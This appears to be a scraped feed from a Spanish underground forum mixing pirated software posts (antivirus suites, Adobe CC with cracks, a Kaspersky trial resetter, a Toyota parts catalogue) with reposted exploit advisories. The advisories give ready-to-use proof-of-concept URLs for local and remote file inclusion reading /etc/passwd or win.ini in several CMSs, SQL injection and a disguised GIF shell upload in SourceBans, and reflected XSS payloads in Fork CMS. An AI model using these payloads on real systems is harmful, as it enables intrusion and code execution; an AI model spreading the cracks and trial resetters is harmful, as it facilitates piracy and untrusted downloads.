Quantcast
Channel: Comunidad Underground Hispana
Viewing all 11602 articles
Browse latest View live
↧

Kaspersky Rescue Disk (programa para eliminar los virus) ISO

May 7, 2014, 7:46 am
$
0
0
Kaspersky Rescue Disk (programa para eliminar los virus) ISO




Kaspersky Rescue Disk es un programa gratuito y seguro para eliminar los virus de un ordenador sin el riesgo de ser infectado! Kaspersky Rescue Disk está diseñado para analizar y desinfectar equipos compatibles x86 y x64 que han sido infectados. La aplicación debe utilizarse cuando la infección es tan grave que es imposible desinfectar el equipo ejecutando aplicaciones antivirus o herramientas de eliminación de malware (como Kaspersky Virus Removal Tool) que se ejecutan en el sistema operativo. En este caso, la desinfección es más eficiente porque los programas maliciosos tomen el control cuando se carga el sistema operativo. En el modo de reparación de emergencia, sólo se puede iniciar objetos tareas de análisis, actualizar bases de datos se voltean las actualizaciones y ver las estadísticas. Arrancar desde el disco de rescate Kaspersky para detectar y eliminar las amenazas de un PC infectado sin el riesgo de infectar a otros archivos u ordenadores. Grabar esta imagen ISO en un CD, insértelo en la unidad de sistemas de CD-ROM infectados, entrar en la BIOS del PC s, configurarlo para que arranque desde el CD y reinicie el PC.

kav_rescue.iso.rar (378,69 MB) - uploaded.net


↧
Search

The Cleaner 9.0.0.1131 DC 06.05.2014 - Detecta y elimina troyanos

May 7, 2014, 8:09 am
$
0
0
The Cleaner 9.0.0.1131 DC 06.05.2014 - Detecta y elimina troyanos




The Cleaner 9.0.0.1131 DC 06.05.2014 | 439 MB
Windows2K, Vista, 7, 8 and Server 2003 and 2008 (32 and 64-bit)

Si navegas por Internet, o envías y recibes correo electrónico, no puedes pasar sin tener un buen antivirus, si quieres uno especializado en troyanos, The Cleaner es una de las mejores opciones.

Una de las amenazas presentes en Internet son los troyanos, que son programas similares a un virus, camuflados dentro de programas inofensivos.

The Cleaner limpiará tu sistema de todos los troyanos que conozca, manteniendo tu sistema limpio de estos peligrosos elementos.

Un troyano se diferencia principalmente de un virus en que no se suele distribuir por sí mismo, y más que destruir (cómo suelen hacer los virus) se dedica a obtener información privilegiada del equipo infectado así como, en algunos casos, el control remoto del mismo.

thecleaner.rar (438,22 MB) - uploaded.net


↧
↧

Avira Family Protection 2014 14.0.4.614

May 7, 2014, 8:23 am
$
0
0
Avira Family Protection 2014 14.0.4.614




Avira Family Protection 2014 14.0.4.614 | 144.0 MB

Avira Protección de la Familia 2014 asegura la protección para su PC, Mac, dispositivos Android y sus hijos de todas las últimas noticias desagradables de Internet. Protéjase con el malware premiada que, una y otra vez, ha ganado premios de plataformas de prueba independientes, así como la alabanza de más de 100 millones de usuarios globales. Avira Familia Seguridad 2014 es un multi-plataforma, multi-dispositivo de antivirus, por lo que protege el PC de casa, así como los dispositivos que salir de la casa con el. Dos productos en uno, Avira Family Protection Suite 2014 es una plataforma antivirus galardonado con una capa adicional de herramientas de supervisión de los padres para los padres con niños que van en línea. Esta suite cuenta con protección de red social, una gama completa de herramientas de supervisión de los padres que dan a los padres una visión general de lo que sus hijos hacen en línea sin dejar de ser cool.

avira_family.rar (144,41 MB) - uploaded.net


↧

Ashampoo Anti-Virus 1.1.1 Multilingual [Protección avanzada contra el malware]

May 7, 2014, 8:34 am
$
0
0
Ashampoo Anti-Virus 1.1.1 Multilingual [Protección avanzada contra el malware]




Usted no tiene que sacrificar la velocidad y la comodidad sobre la seguridad al proteger sus datos con Ashampoo Anti-Virus 2014. Con la potente protección en tiempo real automatizado y actualizaciones frecuentes, Ashampoo Anti-Virus 2014 ofrece una protección fiable contra todas las amenazas comunes de seguridad en Internet, conocidos y desconocidos. Y lo hace de una manera muy discreta y discreto sin restringir su libertad de uso.

OS : Windows® XP, Windows Vista® (32bit/64bit), Windows® 7 (32bit/64bit), Windows® 8 (32bit/64bit)
Language : Multilingual

ashampoo.rar (223,72 MB) - uploaded.net


↧

Kaspersky Internet Security + Trial Resetter (Protección completa del equipo)

May 7, 2014, 8:57 am
$
0
0
Kaspersky Internet Security + Trial Resetter (Protección completa del equipo)




Kaspersky Internet Security + Trial Resetter | 223 MB

Kaspersky Internet Security ofrece una protección completa del ordenador contra amenazas conocidas y nuevas, la red y los ataques de phishing, spam y otros contenidos no deseados. Diferentes funciones y componentes de protección están disponibles como parte de Kaspersky Internet Security para ofrecer una protección completa.
Protección del equipo

Los componentes de protección están diseñados para proteger el equipo contra amenazas conocidas y nuevas, ataques a la red, el fraude y el spam y otra información no solicitada. Cada tipo de amenaza es manejado por un componente de protección individual.

Los componentes se pueden activar o desactivar de forma independiente el uno del otro, y sus ajustes se pueden configurar.

Además de la protección permanente de los componentes de seguridad, le recomendamos que analice con regularidad su equipo en busca de virus. Esto es necesario con el fin de descartar la posibilidad de propagación de programas maliciosos que no han sido descubiertos por los componentes de protección, por ejemplo, a causa de una serie de bajo nivel de seguridad, o por otras razones.

Para mantener Kaspersky Internet Security hasta la fecha, es necesario actualizar las bases y módulos de software utilizados por la aplicación.

Algunas de las tareas específicas que se deben ejecutar de vez en cuando (como la eliminación de los rastros de las actividades de un usuario en el sistema) se ejecutan utilizando las herramientas y asistentes avanzados

Información de la instalación

Run-gb.exe kis14.0.0.4651en instalar

Cuando Juicio está cerca de su final ejecutar el resetter de

!! LEA LAS INSTRUCCIONES AL RESETTER!

El no leer las instrucciones Resetter
Resultará en Restablecer Falla!

kaspersky.rar (223,78 MB) - uploaded.net


↧
↧

Comodo Internet Security 7.0.317799.4142

May 7, 2014, 9:20 am
$
0
0
Comodo Internet Security 7.0.317799.4142




Comodo Internet Security - un paquete gratuito para la protección integral de su equipo frente a virus, troyanos y otros programas maliciosos y hackers. Este es un programa fácil de usar que no es de ninguna manera a aumentar la carga de su equipo. Comodo Internet Security incluye antivirus Comodo Antivirus (protección frente a virus y troyanos), firewall personal Comodo Firewall (protección contra ataques de Internet) y el módulo de protección Defense + Comodo (Sistema de prevención de intrusiones a nivel de host).

Las principales características de Comodo Internet Security:
- Bloques de la instalación de virus, gusanos, spyware, keyloggers y otros programas maliciosos.
- Bloques de escaneo de puertos, intentos de intrusión, los piratas informáticos.
- Bloques de la modificación de archivos críticos del sistema.
- Construido en el planificador permite para la exploración programada.
- Aísla los archivos sospechosos en cuarentena.
- Actualizaciones diarias y automáticas de bases de datos de virus.
- De uso libre. Sin cargos ni donaciones.

comodo.rar (219,73 MB) - uploaded.net


↧

Bitdefender Total Security 2014 Build 17.27.0.1146 Final (x86/x64)

May 7, 2014, 9:29 am
$
0
0
Bitdefender Total Security 2014 Build 17.27.0.1146 Final (x86/x64)



BitDefender Total Security 2014 ofrece protección proactiva contra todas las amenazas de seguridad de Internet, junto con el mantenimiento del sistema y copia de seguridad, sin ralentizar su PC. Combina estado de la técnica de protección contra virus, spyware, hackers, spam y otras amenazas de seguridad de Internet. BitDefender Total Security cuenta con Antivirus, Firewall, Antispyware, Control de Privacidad, Control Parental, TuneUp (limpiador del registro, limpiador de PC, destrucción de archivos, desfragmentador de disco), el Administrador de copia de seguridad para empresas y usuarios domésticos. Bitdefender Total Security 2014 ofrece la seguridad silenciosa definitiva para el estilo de vida centrado en la red, la lucha contra todas las categorías de e-amenazas con las mejores tecnologías de su clase. Bitdefender capitaliza en la detección basada en el comportamiento en vivo y virtualizada, además de los servicios basados ??en la nube, para detener emergentes e-amenazas que otros productos se pierda.

El piloto automático proporciona una experiencia sin problemas al tomar decisiones relacionadas con la seguridad óptimas y sin la intervención de usted. Esto significa que no hay pop-ups, sin alertas, nada que configurar. Bitdefender Total Security 2014 Características principales: • Bloquea virus, spyware y correo no deseado • Detiene los intentos de robo de identidad • Filtra los enlaces que recibe de sus amigos de Facebook y Twitter • Mantiene a los niños seguros con controles parentales de vanguardia • Copia de seguridad online • lo optimiza para la velocidad y rendimiento óptimo

CARACTERÍSTICAS: Seguridad sin igual. Bitdefender capitaliza en la detección basada en el comportamiento en vivo y virtualizada, además de los servicios basados ??en la nube, para detener emergentes e-amenazas que otros productos se pierda. • Active Virus Control - Monitoriza los procesos comportamiento mientras se están ejecutando para detectar virus nuevos y desconocidos • Rescate Modo - Reinicia el ordenador en un entorno de confianza, que se utiliza para la limpieza y restauración • Navegador virtualizado - Aísla el navegador del sistema operativo en un entorno proporcionado por Bitdefender para bloquear las amenazas basadas en la Web • Vulnerability Scanner - busca indicios de la falta o de seguridad obsoleta software, así como la configuración del sistema potencialmente inseguras • Antispam - ??Detiene el correo no deseado llegue a su Bandeja de entrada • Firewall bidireccional - Monitores sus conexiones de Internet y mantiene extraños accedan a su conexión Wi-Fi • Control Parental - Bloques de contenido inapropiado, restringe Web el acceso a ciertas horas, y ayuda a los padres supervisar a distancia la actividad online de sus hijos Silencio Absoluto. Piloto automático de BitDefender toma todas las decisiones relacionadas con la seguridad para usted! • Piloto automático - Proporciona una experiencia sin problemas al tomar decisiones relacionadas con la seguridad óptimos, sin que usted Socializar sin preocupaciones. Protéjase y sus amigos, de e-amenazas que intentan abusar de la confianza que se ha construido con ellos. • Asesor de Búsqueda - Da aviso previo de sitios Web peligrosos directamente en los resultados de búsqueda de Google y Bing Full Speed. Bitdefender 2014 toma "la detección programada" a un nivel completamente nuevo, como la exploración sólo se produce cuando el sistema está inactivo. • Exploración Dispatcher - Dispara los análisis del sistema cuando el uso de recursos por debajo de un umbral determinado para evitar cualquier impacto en el rendimiento del sistema • Sintonice -Up - Elimina archivos innecesarios y entradas del registro, para optimizar el rendimiento total privacidad. Bitdefender protege su privacidad y los datos personales con una amplia gama de módulos y funciones especializadas. • Personal Filtro datos - Evita que los datos críticos, como su número de seguro social, de tener que abandonar su ordenador • antiphising - Bloques sitios web el apoyo a diversas estafas o intentos de phishing de tarjeta de crédito • Chat Encryption - mantiene sus conversaciones privadas en Yahoo! y MSN Messenger • Cifrado de archivos - Bloquea archivos confidenciales en una bóveda encriptada Secure Backup. Bitdefender Total Security viene con 2 GB de espacio en línea gratis, seguro para respaldar sus archivos críticos. • Safebox - automáticamente copias de seguridad de archivos y carpetas a un servidor remoto seguro y permite sincronización de archivos entre tus ordenadores

bitdefender.rar (468,15 MB) - uploaded.net


↧

S40 CMS 0.4.2b LFI Vulnerability

May 7, 2014, 9:32 am
$
0
0
Código:
[Security Advisory Details: 07/04/2001]

[Script]        S40 CMS 0.4.2 Beta
[Location]      http://s40.biz/?p=download
[Vulnerability] Local File Inclusion
[Original Adv]  http://y-osirys.com/security/exploits/id27
[Author]        Giovanni Buzzin, "Osirys"
[Site]          y-osirys.com
[Contact]      osirys[at]autistici[dot]org


------------------------------------------------------------------------------------------------------------
[CMS Description]

S40 CMS is FREE Content Management System
S40 CMS 0.4 beta is lightwieght flat file CMS written on PHP, suitable for small and medium sites.
S40 is open-source MIT-license CMS developed by AWEN art studio Ltd.
S40 is fast and easy to customize system with build-in installer.


------------------------------------------------------------------------------------------------------------
[Security Flaw]

S40 CMS is prone to Local File Inclusion vulnerability because of poor security checks and bad input
sanitization: GET variables are not properly sanitized before being included via require() PHP function.

<?php
ob_start("ob_gzhandler"); // comment this line to disable gzip compression
require "inc/config.php";
require "inc/langs/".$s40[lang]        .".php";
if ($s40[installed]){
        require "inc/functions.php";
        checkinstall();
        require page($_GET[p],$_GET[c],$_GET[g],$_GET[gp]);

....

Having a quick look at page() function, the security issue is clear: $pid ($_GET['p']), is not sanitized
or passed through a valid regular expression before being returned to require() function of index.php file.

function page($pid,$cid,$gid,$gp){
        if(!isset($pid)){
                $p = "index";
                return "data/".$p.".page.php";
        }else{
                if (isset($pid) and isset($cid)){
                        if(!file_exists("data/".$pid.".child.".$cid.".php")){
                                return "data/404.inc";
                        }else{
                                $p = $pid;
                                $c = $cid;
                                return "data/".$p.".child.".$c.".php";
                        }
                }else{
                        if(!file_exists("data/".$pid.".page.php")){
                                return "data/404.inc";
                        }else{
                                $p = $pid;
                                return "data/".$p.".page.php";
                        }
                }
        }
}
....


------------------------------------------------------------------------------------------------------------
[Exploit]

The security issue can be exploited sending a valid path via GET request. Null Byte must be used in
order to exploit this LFI.

PoC : /[cms_path]/?p=[local_file]%00
      /[cms_path]/?p=/../../../../../../../etc/passwd%00


------------------------------------------------------------------------------------------------------------
[Credits]

Credit goes to Giovanni Buzzin, "Osirys"  for the discover of this vulnerability.
(Meglio)


------------------------------------------------------------------------------------------------------------
[END: 07/04/2011]
↧
Search

Vanilla Forum 2.0.17.9 LFI Vulnerability

May 7, 2014, 9:33 am
$
0
0
Código:
------------------------------------------------------------------------
Software................Vanilla Forum 2.0.17.9
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.vanillaforums.com/
Discovery Date..........5/15/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------
 
 
--Description--
 
A local file inclusion vulnerability in Vanilla Forum 2.0.17.9 can be
exploited to include arbitrary files.
 
 
--PoC--
 
http://localhost/vanilla/index.php?p=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini%00
↧
↧

Jcow 4.2.1 LFI Vulnerability

May 7, 2014, 9:33 am
$
0
0
Código:
------------------------------------------------------------------------
Software................Jcow 4.2.1
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.jcow.net/
Discovery Date..........5/12/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------
 
 
--Description--
 
A local file inclusion vulnerability in Jcow 4.2.1 can be exploited to
include arbitrary files.
 
 
--PoC--
 
http://localhost/jcow/index.php?p=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini%00
↧

i-doIT 0.9.9-4 LFI Vulnerability

May 7, 2014, 9:33 am
$
0
0
Código:
# ------------------------------------------------------------------------
# Software................i-doIT 0.9.9-4
# Vulnerability...........Local File Inclusion
# Threat Level............Critical (4/5)
# Download................http://www.i-doit.org/
# Discovery Date..........5/23/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# A local file inclusion vulnerability in i-doIT 0.9.9-4 can be
# exploited to include arbitrary files.
#
#
# --PoC--
 
http://localhost/idoit/controller.php?load=&lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.jpg
↧

Invisionix Roaming System Remote metasys 0.2 LFI Vulnerability

May 7, 2014, 9:34 am
$
0
0
Código:
nvisionix Roaming System Remote metasys 0.2 LFI Vulnerability
 
 
Site ................... :  http://sourceforge.net/projects/irsr/
Download ............... :  http://space.dl.sourceforge.net/project/irsr/irsr/irsr-0.2/irsr-0.2.ZIP
Author ................. :  Treasure Priyamal
Contact ................ :  treasure[at]treasuresec.com
 
Note : Successful exploitation requires that "register_globals" is enabled.   
 
========================================================================
 
Description:
 
Your own portable PC system built by integrating existing Open Source components.
 This mobile metasystem utilizes the internet's web hosting resources and is accessed
 via any web browser enabled appliance from your home, work, school, library, cafes, etc
 
========================================================================
 
*************************************************
[!]This other sample vuln c0de which affected to LFI [!]
*************************************************
 
There is a vulnerability in almost every file directory , for example in this Directory file:
 
[-] system/default.php
 
require_once ($globalIncludeFilePath);          // System's global include file.
 
-=[ P0C LFI ]=-
 
http://localhost/irsr/authenticate/sessions.php?globalIncludeFilePath=[LFI]%00
========================================================================
↧

Appointment Booking Pro Joomla Component LFI Vulnerability

May 7, 2014, 9:35 am
$
0
0
Código:
Appointment Booking Pro is a native Joomla component
=================================
Last login: Tue Jun  7 2010 10:20:22 on ttys000
                                ______                                ___
        ______              ___/  /  /                                /  /
      /  /  /___  ____  ___/__  /  /  ____  ____  _______  ____  ___/  /
  :  /  /  /    \/__  \/  /  /  /    \/    \/    \/  /    \/    \/    /
  | /  /  /  /  /    /  /  /  /  /  /  /  /  /__/  /  /__/  /  /  /  /
 --X-- /  /  /  /  /  /  /  /  /  /  /  /  /  /  /  /__  /  __/  /  /
  |\____/__/__/\____/\____/__/__/__/\____/__/  /__/  /  /\____/\____/
  :                  ____                        \____/:
                      /    \____  ____  ____  ____  ____ |
                    /  /  /    \/    \/    \/    \/  --X--
 Don Tukulesto      /    /  /__/  /__/  /  /  /__/  /__/|
                  /  /  /  /  /  /  /  __/__  /__  / :
                  /__/__/\____/\____/\____/  /  /  /  /
                  www.indonesiancoder.com\____/\____/
 
Author      : Don Tukulesto (root@indonesiancoder.com)
Homepage    : http://indonesiancoder.com
Published  : July 17, 2011
Tested On  : OS X 10.5.8
=================================
 
 
=================================
|  Software Info      |
=================================
[>] Vendor      : http://www.appointmentbookingpro.com/
[>] Software    : Appointment Booking Pro - ABPro
          Appointment Booking Pro is an appointment booking or scheduling, web site component.
[>] Cost        : $59
 
I. Proof of Concept
=================================
index.php?option=com_rsappt_pro2&view=../../../etc/passwd%0000
 
III. Vendor patch
=================================
Currently manufacturers do not provide patches or upgrades.
 
 
=================================
 
[>] INDONESIAN CODER ~ Server is Down ~ Malang Cyber Crew ~ Magelang Cyber ~ AntiSecurity ~ Exploit-ID
[>] M364TR0N ~ Gonzhack ~ ibl13Z ~ kaMtiEz ~ k4L0ng666 ~ vYc0D ~ Xr0b0t ~ N4ck0 ~ r3m1ck ~ Kidd ~ Jundab
[>] yur4kh4 ~ aN93l1c ~ Arianom ~ Pathloader ~ Contrex ~ Mboys ~ n4KuLa_ ~ m4ho666 ~ jos_ali_joe ~ mengau
[>] kecemplungkalen ~ YaDoY666 ~ Jack- ~ xshadow ~ s4va ~ NoGe ~ kido ~ t3ll0 ~ cimpli ~ Xadal ~ Cyb3r_Tr0n
 
We are the watchmen, the hackers who quietly observe the scene.
bit.ly/OpIDC
 
=================================
↧
↧

SourceBans

May 7, 2014, 9:35 am
$
0
0
Código:
# Exploit Title: SourceBans <= 1.4.8 SQL/LFI Injection
# Date: Dec. 6th 2011
# Author: Havok
# Software Link: http://www.sourcebans.net/
# Version: <= 1.4.8
 
"- What is SourceBans?
SourceBans is a free global administration and banning system for Source engine based servers."
 
Vulnerabilities:
 
1°) SQL Injection:
Proof of concept: http://1m-4-1337-m8.c0m/index.php?xajax=RefreshServer&xajaxargs[]=1' <=== SQL Error w00t!
 
2°) LFI Injection:
Only works when you're authentified as root administrator or as somebody who is able to change the SourceBans theme :
Proof of concept: http://server/index.php?xajax=SelTheme&xajaxargs[]=../../../../../../../../../../etc/passwd%00
 
Note: There is also a possibility to get a shell by adding "GIF89a" at the very beginning of the shell,
renaming it to h4x0rz.gif and uploading it as an icon in the admin panel. Then include the file with the LFI and G4M3 0V3R :).
 
=> In memory of crashfr who will NEVER die. Merci pour tout mec! ;-))... R.I.P.
 
./EOF
↧

Typo3 4.5-4.7 - Remote Code Execution (RFI/LFI)

May 7, 2014, 9:35 am
$
0
0
Código:
# Exploit Title: Typo3 v4.5-4.7 - Remote Code Execution (RFI/LFI)
# Date: 4th January 2012
# Author: MaXe
# Software Link: https://typo3.org/download/
# Version: 4.5.0 up to 4.5.8, 4.6.0 and 4.6.1 (+ development releases of
4.7 branch)
 
 
Typo3 v4.5-4.7 - Remote Code Execution (RFI/LFI)
 
 
Versions Affected: 4.5.0 up to 4.5.8, 4.6.0 and 4.6.1 (+ development
releases of 4.7 branch)
 
Info:
TYPO3 is a small to midsize enterprise-class Content Management Framework
offering
the best of both worlds: out-of-the-box operation with a complete set of
standard
modules and a clean and sturdy high-performance architecture accomodating
virtually
every kind of custom solution or extension.
 
External Links:
http://typo3.org/
 
Credits: Björn Pedersen and Christian Toffolo who discovered and reported
the issue and the Security Team member Helmut Hummel for providing the
patch.
(This advisory was rewritten by MaXe @InterN0T to offer a quick overview
of the vulnerability, including the removal of all irrelevant and untrue
details.
 
 
-:: The Advisory ::-
Requirements for any RCE:
- register_globals in the php.ini MUST be enabled (if the exploit fails
against a supposed to be vulnerable version, this is why. This setting is
often disabled by default.)
 
Requirements for RFI:
- allow_url_include has to be enabled (It's often "off" by default.)
 
 
Proof of Concept:
By browsing to a script / page, that uses the following file:
typo3/sysext/workspaces/Classes/Controller/AbstractController.php (direct
access may not be allowed)
It is possible to include PHP code to be executed via the "BACK_PATH"
global variable. This can be accessed in ways like:
AbstractController.php?BACK_PATH=LFI/RFI%00
 
The vulnerable piece of code: require_once($GLOBALS['BACK_PATH'] .
'template.php');
Demonstrates, that it is necessary to append a null-byte ( %00 ) after the
maliciously crafted input / URL. (Unless your remote file if applicable, is
named something.template.php)
 
 
-:: Solution ::-
* Update to the latest version of Typo3 OR change the vulnerable piece of
code to: require_once(PATH_site . TYPO3_mainDir . 'template.php');
 
 
 
References:
- http://typo3.org/fileadmin/security-team/bug32571/32571.diff
-
https://typo3.org/teams/security/security-bulletins/typo3-core/typo3-core-sa-2011-004/
-
http://news.typo3.org/news/article/important-security-bulletin-pre-announcement-2/
↧
Search

Fork CMS 3.2.4 - Multiple Vulnerabilities (LFI - XSS)

May 7, 2014, 9:36 am
$
0
0
Código:
##########################################################################################################################
 
#  Exploit Title: Fork CMS v.3.2.4  - Multiple Vulnerabilities
 
#  Script Page : http://www.fork-cms.com
                   
#  Date: 11-02-2012
 
#  Author : RandomStorm  - http://www.randomstorm.com
 
#  Avram Marius Gabriel (d3v1l)
 
#  Tested on: Windows XP & Vista
 
 
##########################################################################################################################
 
#  Reflected Cross-Site Scripting (XSS) on Admin Panel
 
#  POC:
 
#  http://site.com/blog/settings?token=true&report=</script><script>alert(1)</script>
 
#  http://site.com/users/index?token=true&error=</script><script>alert(1)</script>
 
###########################################################################################################################
 
#  Local File Inclusion ( LFI )
 
#  POC:
 
#  http://site.com/frontend/js.php?module=../../../../../../../../../../../../../../etc/passwd%00&file=frontend.js&language=en
 
 
##########################################################################################################################
 
# About: Fork CMS is dedicated to creating a user friendly environment to build,monitor and update your website.
 
###########################################################################################################################
↧

Adobe Prelude CC Versión 2.0 [Español]

May 7, 2014, 5:04 pm
$
0
0





DESCRIPCIÓN

Adobe Prelude CC Versión 2.0 Español del 2013 Etiquete y transcodifique secuencias de vídeo con Prelude, una herramienta de transferencia y registro de vídeo para una introducción de metadatos intuitiva y eficaz. Se convierte sin esfuerzo a Adobe Premiere Pro, lo que garantiza la comunicación y la organización fluidas a través del proceso de producción de vídeo.

Idiomas del programa

Deutsch, English, Español, Français, Italiano

FUNCIONES

Miniaturas de Borrar por pase
Cambie los nombres de los archivos en la transferencia
Defina qué información necesita en los clips transferidos
Convierta los guiones en metadatos con Adobe Story
Haga posible la colaboración en equipo con Adobe Anywhere
Transfiera archivos directamente en bandejas seleccionadas
Compatibilidad con metadatos de Sony XMPilot
64 bits en Windows y Mac
Cree y exporte montajes iniciales



Adobe Prelude CC v2.0.0.459
Español Incluido
Medicina Incluida

Requerimientos del Sistema

Procesador Intel® Core™ 2 Duo o AMD Phenom® II, se requiere compatibilidad con 64 bits
Microsoft® Windows® 7 con Service Pack 1 (64 bits), Windows 8 (64 bits) o Windows 8 Pro (64 bits)
4 GB de RAM (se recomiendan 8 GB)
4 GB de espacio disponible en el disco duro para la instalación; se requiere espacio libre adicional durante la instalación (no se puede instalar en dispositivos de almacenamiento flash extraíbles)
Resolución de 1280 x 800
Sistema compatible con OpenGL 2.0
Tarjeta de sonido compatible con el protocolo ASIO o con el modelo de controlador de Microsoft Windows
Se requiere el software QuickTime 7.6.6 para las funciones de QuickTime

















PASS: 4parta2
↧
↧

Adobe Illustrator CC Versión 17.0.0 [Español]

May 7, 2014, 5:28 pm
$
0
0





DESCRIPCIÓN

Adobe Illustrator CC Versión 17.0.0 Español del 2013 Conoce la versión de Illustrator® más potente y conectada de todos los tiempos. La nueva herramienta Retocar texto te ofrece un control de escritura aún mayor: Mueve, cambia la escala y gira caracteres individuales con la certeza de que podrás copiar o modificar la fuente en cualquier momento. Además, con Illustrator CC, puedes compartir tu trabajo directamente desde la aplicación y sincronizar colores desde Adobe® Kuler®. Disfruta de todo tu mundo creativo en un único lugar.

Descubra las principales funciones nuevas

Trabaje con el texto de forma mucho más eficaz. Coloque numerosos archivos a la vez con total control y cree con la ayuda de un pincel generado a partir de una foto. Diseñe para la Web más fácilmente con la certeza de que podrá copiar y pegar rápidamente código CSS generado de forma automática.

Herramienta Retocar texto

Disfrute de un nuevo nivel de creatividad con el texto. Ahora, los caracteres individuales se comportan como objetos distintos. Mueva, cambie la escala y gire caracteres de texto con la certeza de que podrá cambiar o editar la fuente en cualquier momento. Además, puede utilizar su ratón, su stylus o su dispositivo Multi-Touch favoritos.

Integrado en Creative Cloud

Con Illustrator CC, integrado en Creative Cloud, su proceso creativo será fluido e intuitivo y contará con una mayor conectividad. Consíguelo como una suscripción a una aplicación única o con un abono completo a Creative Cloud, que también incluye el resto de las herramientas creativas de Adobe.

NOVEDAD Herramienta Retocar texto

Diseñe con texto de un modo nuevo y potente. Ahora, se pueden manipular caracteres como objetos individuales. Experimente con el movimiento, las escalas y la rotación con la certeza de que podrá cambiar o editar la fuente en cualquier momento. Además, ahora puede utilizar dispositivos Multi-Touch, así como un ratón o un stylus.

NOVEDAD Imágenes en pinceles

Pinte con un pincel creado a partir de una foto. Los pinceles de dispersión, de arte y de motivos pueden incluir imágenes rasterizadas, lo que le permite crear diseños orgánicos complejos rápidamente con simples trazos de pincel. Tal y como ocurre con todos los pinceles de Illustrator, puede cambiar la forma de sus trazos y modificarlos como desee.

NOVEDAD Búsqueda de fuentes

Encuentra la fuente perfecta rápidamente. En el panel Carácter, escriba un estilo como “negrita” o “cursiva”, una familia de fuentes o cualquier otro fragmento del nombre de una fuente. Así, dispondrá de una vista filtrada que le permitirá ver únicamente las fuentes que coinciden con sus criterios.

PRÓXIMAMENTE Sincronización de fuentes

Sincronización de fuentes, parte de Creative Cloud, cambiará el modo en que trabaja con el texto. Encuentre rápidamente la fuente perfecta en la creciente biblioteca de fuentes Adobe® Typekit® y sincronícela con su sistema para utilizarla de inmediato.

NOVEDAD Espacio para numerosos archivos

Importe diversos archivos en su diseño de Illustrator al mismo tiempo y con un nuevo control. Ahora, puede definir la ubicación y la escala de sus archivos —imágenes, gráficos y texto— y utilizar nuevas vistas de miniaturas para ver el destino de cada archivo y el tamaño que tendrá.

NOVEDAD Extracción de CSS

La codificación manual de elementos web tales como iconos y motivos puede resultar frustrante. Ahora, puede crear sitios web más rápido al permitir a Illustrator generar código CSS por usted, incluso en el caso de un logotipo completo que incluya degradados. Copie y pegue el código directamente en su editor web.



Adobe Illustrator CC v17.0.0
Español Incluido
Medicina Incluida
1.7 GB

Requerimientos

Procesador Intel® Pentium® 4 o AMD Athlon® de 64 bits.
Microsoft® Windows® 7 con Service Pack 1 o Windows 8.
1 GB de RAM (se recomiendan 3 GB) para 32 bits; 2 GB de RAM (se recomiendan 8 GB) para 64 bits.
2 GB de espacio disponible en el disco duro para la instalación; se requiere espacio libre adicional durante la instalación (no se puede instalar en dispositivos de almacenamiento flash extraíbles).
Resolución de pantalla de 1024 × 768 (se recomienda 1280 × 800).
Se requiere disponer de una conexión a Internet y registrarse para la activación del software y la validación de abonos obligatorias, y para el acceso a servicios online*.

















PASS: 4parta2
↧

Toyota/Lexus EPC (General-Europe-USA-Japan) [01.2014] Multilenguaje (Español)

May 13, 2014, 6:37 am
$
0
0





Toyota/Lexus EPC (General-Europe-USA-Japan) [01.2014] Multilenguaje (Español) | 4.83 GB | 1 GB Links


TOYOTA EPC es un instrumento para la consulta y la busqueda de informacion integrada en los diversos catalogos de productos del grupo Toyota. Ha sido estudiado para su empleo por parte de la Red Comercial y de Asistencia de la marca Toyota.




- S.O.: Windows XP; Windows Vista; Windows 7; Windows 8
- CPU: Pentium/Athlon 1.8 GHz o superior
- RAM: 256 MB de memoria del sistema
- Disco Duro: 20 GB de espacio disponible
- Unidad de DVD-ROM


1 GB Links / LetitBit / ShareFlare / Vip-File / Uploaded / TurboBit / HitFile / Extraccion Simple





Compre Premium Desde Enlaces & Obtenga Descargas Reanudables & Máxima Velocidad !!


OPCION 1: (en caso que links expiren o publiquemos nuevas versiones, seran re-subidas aqui)

Código:
http://infodocs.org/web/soft-win/Toyota-Lexus_EPC_(General-Europe-USA-Japan)_LINKS.zip

OPCION 2:

Código:
LETITBIT - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
http://letitbit.net/download/72251.7c9b3c6adfcdc4073c074e8fcd42/Toyota_EPC_2014.01.part1.rar.html
http://letitbit.net/download/90271.95918930c21bbc70f503cb8f585d/Toyota_EPC_2014.01.part2.rar.html
http://letitbit.net/download/77665.7220e0449616195a557cce8af742/Toyota_EPC_2014.01.part3.rar.html
http://letitbit.net/download/55173.50cc56fc61d19c4e7d7e851a230d/Toyota_EPC_2014.01.part4.rar.html
http://letitbit.net/download/30312.39f6571c6791b55d4d0ebfed60e8/Toyota_EPC_2014.01.part5.rar.html

SHAREFLARE - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
http://u18116681.shareflare.net/download/75082.7c9b3c6adfcdc4073c074e8fcd42/Toyota_EPC_2014.01.part1.rar.html
http://u18116681.shareflare.net/download/99746.95918930c21bbc70f503cb8f585d/Toyota_EPC_2014.01.part2.rar.html
http://u18116681.shareflare.net/download/77084.7220e0449616195a557cce8af742/Toyota_EPC_2014.01.part3.rar.html
http://u18116681.shareflare.net/download/55906.50cc56fc61d19c4e7d7e851a230d/Toyota_EPC_2014.01.part4.rar.html
http://u18116681.shareflare.net/download/32364.39f6571c6791b55d4d0ebfed60e8/Toyota_EPC_2014.01.part5.rar.html

VIP-FILE - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
